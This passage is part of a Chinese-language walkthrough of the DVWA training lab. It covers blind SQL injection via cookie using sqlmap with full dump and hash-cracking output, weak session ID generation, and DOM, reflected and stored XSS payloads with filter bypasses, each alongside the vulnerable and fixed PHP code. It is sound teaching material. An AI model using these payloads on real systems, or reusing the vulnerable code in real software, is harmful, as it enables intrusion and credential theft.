    | 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
    | 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
    | 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    
    [00:41:03] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
    [00:41:03] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'
    
    [*] shutting down at 00:41:03
    
    

    9.3 High

    代码:

    <?php
    
    if( isset( $_COOKIE[ 'id' ] ) ) {
        // Get input
        $id = $_COOKIE[ 'id' ];
    
        // Check database
        $getid  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $getid ); // Removed 'or die' to suppress mysql errors
    
        // Get results
        $num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
        if( $num > 0 ) {
            // Feedback for end user
            echo '<pre>User ID exists in the database.</pre>';
        }
        else {
            // Might sleep a random amount
            if( rand( 0, 5 ) == 3 ) {
                sleep( rand( 2, 4 ) );
            }
    
            // User wasn't found, so the page wasn't!
            header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
            // Feedback for end user
            echo '<pre>User ID is MISSING from the database.</pre>';
        }
    
        ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
    }
    
    ?> 
    

    提交和显示结果页面分离,而且注入参数id在cookie中。设置sqlmap的--level 2sqlmap会尝试注入Cookie参数:

    root@kali:~# sqlmap -u "http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --cookie="id=f; security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7" --second-order="http://192.168.0.115/dvwa/vulnerabilities/sqli_blind/" -D dvwa -T users --dump --level 2
            ___
           __H__
     ___ ___["]_____ ___ ___  {1.1.11#stable}
    |_ -| . [']     | .'| . |
    |___|_  [.]_|_|_|__,|  _|
          |_|V          |_|   http://sqlmap.org
    
    [!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
    
    [*] starting at 21:55:57
    
    [21:55:57] [INFO] resuming back-end DBMS 'mysql' 
    [21:55:57] [INFO] testing connection to the target URL
    [21:55:58] [WARNING] the web server responded with an HTTP error code (404) which could interfere with the results of the tests
    sqlmap resumed the following injection point(s) from stored session:
    ---
    Parameter: id (Cookie)
        Type: AND/OR time-based blind
        Title: MySQL >= 5.0.12 RLIKE time-based blind
        Payload: id=f' RLIKE SLEEP(5) AND 'ZjQC'='ZjQC; security=high; PHPSESSID=as94j6ostr2dnu3utbaeo264j7
    ---
    [21:55:58] [INFO] the back-end DBMS is MySQL
    web server operating system: Windows
    web application technology: Apache 2.4.9, PHP 5.5.12
    back-end DBMS: MySQL >= 5.0.12
    [21:55:58] [INFO] fetching columns for table 'users' in database 'dvwa'
    [21:55:58] [INFO] resumed: 8
    [21:55:58] [INFO] resumed: user_id
    [21:55:58] [INFO] resumed: first_name
    [21:55:58] [INFO] resumed: last_name
    [21:55:58] [INFO] resumed: user
    [21:55:58] [INFO] resumed: password
    [21:55:58] [INFO] resumed: avatar
    [21:55:58] [INFO] resumed: last_login
    [21:55:58] [INFO] resumed: failed_login
    [21:55:58] [INFO] fetching entries for table 'users' in database 'dvwa'
    [21:55:58] [INFO] fetching number of entries for table 'users' in database 'dvwa'
    [21:55:58] [INFO] resumed: 5
    [21:55:58] [INFO] resumed: 1337
    [21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/1337.jpg
    [21:55:58] [INFO] resumed: 0
    [21:55:58] [INFO] resumed: Hack
    [21:55:58] [INFO] resumed: 2018-03-08 22:33:32
    [21:55:58] [INFO] resumed: Me
    [21:55:58] [INFO] resumed: 8d3533d75ae2c3966d7e0d4fcc69216b
    [21:55:58] [INFO] resumed: 3
    [21:55:58] [INFO] resumed: admin
    [21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/admin.jpg
    [21:55:58] [INFO] resumed: 0
    [21:55:58] [INFO] resumed: admin
    [21:55:58] [INFO] resumed: 2018-03-13 10:53:08
    [21:55:58] [INFO] resumed: admin
    [21:55:58] [INFO] resumed: 21232f297a57a5a743894a0e4a801fc3
    [21:55:58] [INFO] resumed: 1
    [21:55:58] [INFO] resumed: gordonb
    [21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/gordonb.jpg
    [21:55:58] [INFO] resumed: 0
    [21:55:58] [INFO] resumed: Gordon
    [21:55:58] [INFO] resumed: 2018-03-08 22:33:32
    [21:55:58] [INFO] resumed: Brown
    [21:55:58] [INFO] resumed: e99a18c428cb38d5f260853678922e03
    [21:55:58] [INFO] resumed: 2
    [21:55:58] [INFO] resumed: pablo
    [21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/pablo.jpg
    [21:55:58] [INFO] resumed: 0
    [21:55:58] [INFO] resumed: Pablo
    [21:55:58] [INFO] resumed: 2018-03-08 22:33:32
    [21:55:58] [INFO] resumed: Picasso
    [21:55:58] [INFO] resumed: 0d107d09f5bbe40cade3de5c71e9e9b7
    [21:55:58] [INFO] resumed: 4
    [21:55:58] [INFO] resumed: smithy
    [21:55:58] [INFO] resumed: http://127.0.0.1/dvwa/hackable/users/smithy.jpg
    [21:55:58] [INFO] resumed: 0
    [21:55:58] [INFO] resumed: Bob
    [21:55:58] [INFO] resumed: 2018-03-08 22:33:32
    [21:55:58] [INFO] resumed: Smith
    [21:55:58] [INFO] resumed: 5f4dcc3b5aa765d61d8327deb882cf99
    [21:55:58] [INFO] resumed: 5
    [21:55:58] [INFO] recognized possible password hashes in column 'password'
    do you want to store hashes to a temporary file for eventual further processing with other tools [y/N] 
    do you want to crack them via a dictionary-based attack? [Y/n/q] 
    [21:56:00] [INFO] using hash method 'md5_generic_passwd'
    [21:56:00] [INFO] resuming password 'password' for hash '5f4dcc3b5aa765d61d8327deb882cf99'
    [21:56:00] [INFO] resuming password 'abc123' for hash 'e99a18c428cb38d5f260853678922e03'
    [21:56:00] [INFO] resuming password 'letmein' for hash '0d107d09f5bbe40cade3de5c71e9e9b7'
    [21:56:00] [INFO] resuming password 'charley' for hash '8d3533d75ae2c3966d7e0d4fcc69216b'
    [21:56:00] [INFO] resuming password 'admin' for hash '21232f297a57a5a743894a0e4a801fc3'
    Database: dvwa
    Table: users
    [5 entries]
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | user_id | avatar                                           | user    | password                                    | last_name | first_name | last_login          | failed_login |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    | 3       | http://127.0.0.1/dvwa/hackable/users/1337.jpg    | 1337    | 8d3533d75ae2c3966d7e0d4fcc69216b (charley)  | Me        | Hack       | 2018-03-08 22:33:32 | 0            |
    | 1       | http://127.0.0.1/dvwa/hackable/users/admin.jpg   | admin   | 21232f297a57a5a743894a0e4a801fc3 (admin)    | admin     | admin      | 2018-03-13 10:53:08 | 0            |
    | 2       | http://127.0.0.1/dvwa/hackable/users/gordonb.jpg | gordonb | e99a18c428cb38d5f260853678922e03 (abc123)   | Brown     | Gordon     | 2018-03-08 22:33:32 | 0            |
    | 4       | http://127.0.0.1/dvwa/hackable/users/pablo.jpg   | pablo   | 0d107d09f5bbe40cade3de5c71e9e9b7 (letmein)  | Picasso   | Pablo      | 2018-03-08 22:33:32 | 0            |
    | 5       | http://127.0.0.1/dvwa/hackable/users/smithy.jpg  | smithy  | 5f4dcc3b5aa765d61d8327deb882cf99 (password) | Smith     | Bob        | 2018-03-08 22:33:32 | 0            |
    +---------+--------------------------------------------------+---------+---------------------------------------------+-----------+------------+---------------------+--------------+
    
    [21:56:00] [INFO] table 'dvwa.users' dumped to CSV file '/root/.sqlmap/output/192.168.0.115/dump/dvwa/users.csv'
    [21:56:00] [WARNING] HTTP error codes detected during run:
    404 (Not Found) - 1 times
    [21:56:00] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.115'
    
    [*] shutting down at 21:56:00
    
    

    9.4 Impossible

    代码:

    <?php
    
    if( isset( $_GET[ 'Submit' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $id = $_GET[ 'id' ];
    
        // Was a number entered?
        if(is_numeric( $id )) {
            // Check the database
            $data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
            $data->bindParam( ':id', $id, PDO::PARAM_INT );
            $data->execute();
    
            // Get results
            if( $data->rowCount() == 1 ) {
                // Feedback for end user
                echo '<pre>User ID exists in the database.</pre>';
            }
            else {
                // User wasn't found, so the page wasn't!
                header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
    
                // Feedback for end user
                echo '<pre>User ID is MISSING from the database.</pre>';
            }
        }
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    

    1.PDO技术防止sql注入;
    2.验证token防止csrf攻击;
    3.查询结果为一才输出结果,防止拖库。

    10. Weak Session IDs

    会话标识的生成。

    10.1 Low

    代码:

    <?php
    
    $html = "";
    
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        if (!isset ($_SESSION['last_session_id'])) {
            $_SESSION['last_session_id'] = 0;
        }
        $_SESSION['last_session_id']++;  #简单的+1。
        $cookie_value = $_SESSION['last_session_id'];
        setcookie("dvwaSession", $cookie_value);
    }
    ?> 
    

    10.2 Medium

    代码:

    <?php
    
    $html = "";
    
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        $cookie_value = time();
        setcookie("dvwaSession", $cookie_value);  #用时间作为session。
    }
    ?> 
    

    10.3 High

    代码:

    <?php
    
    $html = "";
    
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        if (!isset ($_SESSION['last_session_id_high'])) {
            $_SESSION['last_session_id_high'] = 0;
        }
        $_SESSION['last_session_id_high']++;
        $cookie_value = md5($_SESSION['last_session_id_high']);
        setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
        #setcookie(name,value,expire,path,domain,secure),将session+1再md5编码之后设置为session,还设置了有效期为一个小时。
    }
    
    ?> 
    

    10.4 Impossible

    代码:

    <?php
    
    $html = "";
    
    if ($_SERVER['REQUEST_METHOD'] == "POST") {
        $cookie_value = sha1(mt_rand() . time() . "Impossible");
        setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], true, true);
        #哈希sha1(mt_rand() . time() . "Impossible")作为session。
    } 
    ?> 
    

    11. DOM Based Cross Site Scripting (XSS)

    跨站脚本攻击指的是攻击者通过注入,将恶意脚本插入到网页中或者存储到了web服务器中,从而使用户在点击网页时触发XSS攻击,达到cookie,token被盗取,密码被修改等目的。
    DOM型XSS是一种特殊的反射型XSS,修改页面DOM节点形成的XSS。

    11.1 Low

    代码:

    <?php
    
    # No protections, anything goes
    
    ?> 
    

    没有任何过滤,url:http://192.168.0.115/dvwa/vulnerabilities/xss_d/?default=English<script>alert(1)</script>

    sdf.png-108.5kBsdf.png-108.5kB

    11.2 Medium

    代码:

    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
        $default = $_GET['default'];
        
        # Do not allow script tags
        if (stripos ($default, "<script") !== false) {  
        #stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
            header ("location: ?default=English");
            exit;
        }
    }
    
    ?> 
    

    对url的default参数进行了过滤<script>,且stripos不区分大小写,不能用大小写混合绕过,使用其他标签:http://192.168.0.115/dvwa/vulnerabilities/xss_d/?default=English>/option></select><img src=1 onerror=alert(1)>首先突破select block ,再使用<img src=1 onerror=alert(1)>

    k;.png-150.2kBk;.png-150.2kB

    11.3 High

    代码:

    <?php
    
    // Is there any input?
    if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
    
        # White list the allowable languages
        switch ($_GET['default']) {
            case "French":
            case "English":
            case "German":
            case "Spanish":
                # ok
                break;
            default:
                header ("location: ?default=English");
                exit;
        }
    }
    
    ?> 
    

    default参数设置了白名单,添加#,#后面的部分不会发送到web服务器中:http://192.168.0.115/dvwa/vulnerabilities/xss_d/?default=English#<script>alert(1)</script>

    agsd.png-115.9kBagsd.png-115.9kB

    11.4 Impossible

    代码:

    <?php
    
    # Don't need to do anything, protction handled on the client side
    
    ?> 
    

    12. Reflected Cross Site Scripting (XSS)

    反射型XSS,只是简单的把用户输入的数据反射给浏览器,往往需要用户点击一个链接才能触发XSS攻击。

    12.1 Low

    代码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Feedback for end user
        echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
    }
    
    ?> 
    

    get方法对输入的name参数没有进行任何过滤,在输入框输入<script>alert(1)</script>,
    url:http://192.168.0.115/dvwa/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%281%29%3C%2Fscript%3E#

    gre.png-148.3kBgre.png-148.3kB

    12.2 Medium

    代码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = str_replace( '<script>', '', $_GET[ 'name' ] ); #将<script>替换为''。
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 
    

    str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。
    用str_replace将<script>替换为'',采用双写可以绕过,或者大写绕过。
    双写绕过:<sc<script>ript>alert(1)</script>
    大写绕过:<Script>alert(1)</script>

    12.3 High

    代码:

    <?php
    
    header ("X-XSS-Protection: 0");
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Get input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    ?> 
    
    1. 正则表达式中i模式是对大小写不敏感,因此不能用大小写混合来绕过;
    2. 正则表达式<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t,在各个字符之间也有(.*)匹配,不能用双写绕过;
    3. 既然不能用<script>标签注入XSS代码,可以用其他标签如:<img src=1 onerror=alert(1)>,表示如果src错误,则执行alert(1)
      jfd.png-176.1kBjfd.png-176.1kB

    12.4 Impossible

    代码:

    <?php
    
    // Is there any input?
    if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $name = htmlspecialchars( $_GET[ 'name' ] ); #把预定义的字符&、”、 ’、<、>转换为HTML实体
    
        // Feedback for end user
        echo "<pre>Hello ${name}</pre>";
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    
    输入什么就输出什么: Screenshot-2018-3-15 Vulnerability Reflected Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Develo[...].png-33.1kBScreenshot-2018-3-15 Vulnerability Reflected Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Develo[...].png-33.1kB

    加入了token验证防止csrf攻击;
    htmlspecialchars函数将<,>转换为HTML实体,防止浏览器将其作为HTML元素。

    13. Stored Cross Site Scripting (XSS)

    存储型跨站脚本,将恶意的脚本注入到web服务器中,通常是通过留言板来注入,当其他用户访问此页面时,就会执行注入的脚本,触发XSS攻击,可以盗取cookie,token等。

    13.1 Low

    代码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );  
        #trim函数移除字符串两侧的空白字符或其他预定义字符,预定义字符包括、\t、\n、\x0B、\r以及空格
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = stripslashes( $message ); #删除反斜杠:\
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Sanitize name input
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?> 
    

    stripslashes: 删除反斜杠\,但是使用<script>alert(1)</script>有效。

    Screenshot-2018-3-15 Vulnerability Stored Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Developme[...].png-44.1kBScreenshot-2018-3-15 Vulnerability Stored Cross Site Scripting (XSS) Damn Vulnerable Web Application (DVWA) v1 10 Developme[...].png-44.1kB rti.png-177.3kBrti.png-177.3kB

    Name那一栏有字数限制,可以通过Burpsuite来修改name的值,也同样存在XSS漏洞。

    13.2 Medium

    代码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) ); 
        #strip_tags()函数剥去字符串中的 HTML、XML 以及 PHP 的标签,但允许使用<b>标签。
        #addslashes() 函数返回在预定义字符(单引号、双引号、反斜杠、NULL)之前添加反斜杠的字符串。
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
        #htmlspecialchars函数将<,>转换为HTML实体,防止浏览器将其作为HTML元素。
    
        // Sanitize name input
        $name = str_replace( '<script>', '', $name ); #对name参数进行了<script>g
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?> 
    

    由于对message参数进行了htmlspecialchars,防止了XSS攻击,但是还有一个name参数,只对<script>进行了简单的过滤,可以通过Burpsuite修改:<Script>alert(1)</script>

    afghsf.png-103.7kBafghsf.png-103.7kB
    写入成功,再次刷新页面,弹窗,说明触发了XSS。

    13.3 High

    代码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = strip_tags( addslashes( $message ) );
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
        #htmlspecialchars函数将<,>转换为HTML实体,防止浏览器将其作为HTML元素。
    
        // Sanitize name input
        $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name ); #过滤,防止大小写和双写绕过
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    
        // Update database
        $query  = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
    
        //mysql_close();
    }
    
    ?> 
    

    同样,message使用了htmlspecialchars函数,防止XSS。
    name参数可以使用除<script>的其他标签绕过。

    sghd.png-97.8kBsghd.png-97.8kB
    成功写入,刷新页面触发XSS。

    13.4 Impossible

    代码:

    <?php
    
    if( isset( $_POST[ 'btnSign' ] ) ) {
        // Check Anti-CSRF token
        checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
    
        // Get input
        $message = trim( $_POST[ 'mtxMessage' ] );
        $name    = trim( $_POST[ 'txtName' ] );
    
        // Sanitize message input
        $message = stripslashes( $message );  #删除反斜杠:\
        $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $message = htmlspecialchars( $message );
    
        // Sanitize name input
        $name = stripslashes( $name );
        $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $name = htmlspecialchars( $name );
    
        // Update database
        $data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
        $data->bindParam( ':message', $message, PDO::PARAM_STR );
        $data->bindParam( ':name', $name, PDO::PARAM_STR );
        $data->execute();
    }
    
    // Generate Anti-CSRF token
    generateSessionToken();
    
    ?> 
    
    1. 验证token防止CSRF攻击;
    2. PDO技术,防止SQL注入;
    3. 对参数message和name都使用了 htmlspecialchars函数,防止XSS攻击。

    相关文章

      网友评论

        本文标题:DVWA实践

        本文链接:https://www.haomeiwen.com/subject/tvonfftx.html